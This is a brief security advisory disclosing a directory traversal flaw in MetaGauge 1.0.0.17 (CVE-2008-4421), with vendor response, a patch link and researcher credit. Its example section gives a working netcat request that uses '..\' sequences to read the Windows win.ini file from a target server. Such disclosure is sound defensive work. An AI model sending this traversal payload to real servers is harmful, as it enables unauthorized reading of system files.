Vendor Response: Vendor has been notified and has since addressed the issue
in the latest software release.
Description:
A directory traversal vulnerability exists in MetaGauge version 1.0.0.17
(and potentially below) which allows a remote user to view files local to
the target server.
Example:
C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1
Patch Information:
Hammer has addressed the issue in the latest version of MetaGauge:
http://dl.hammer-software.com/metagauge.zip
CVE: CVE-2008-4421
Credit:
Brad Antoniewicz
brad.antoniewicz@foundstone.com
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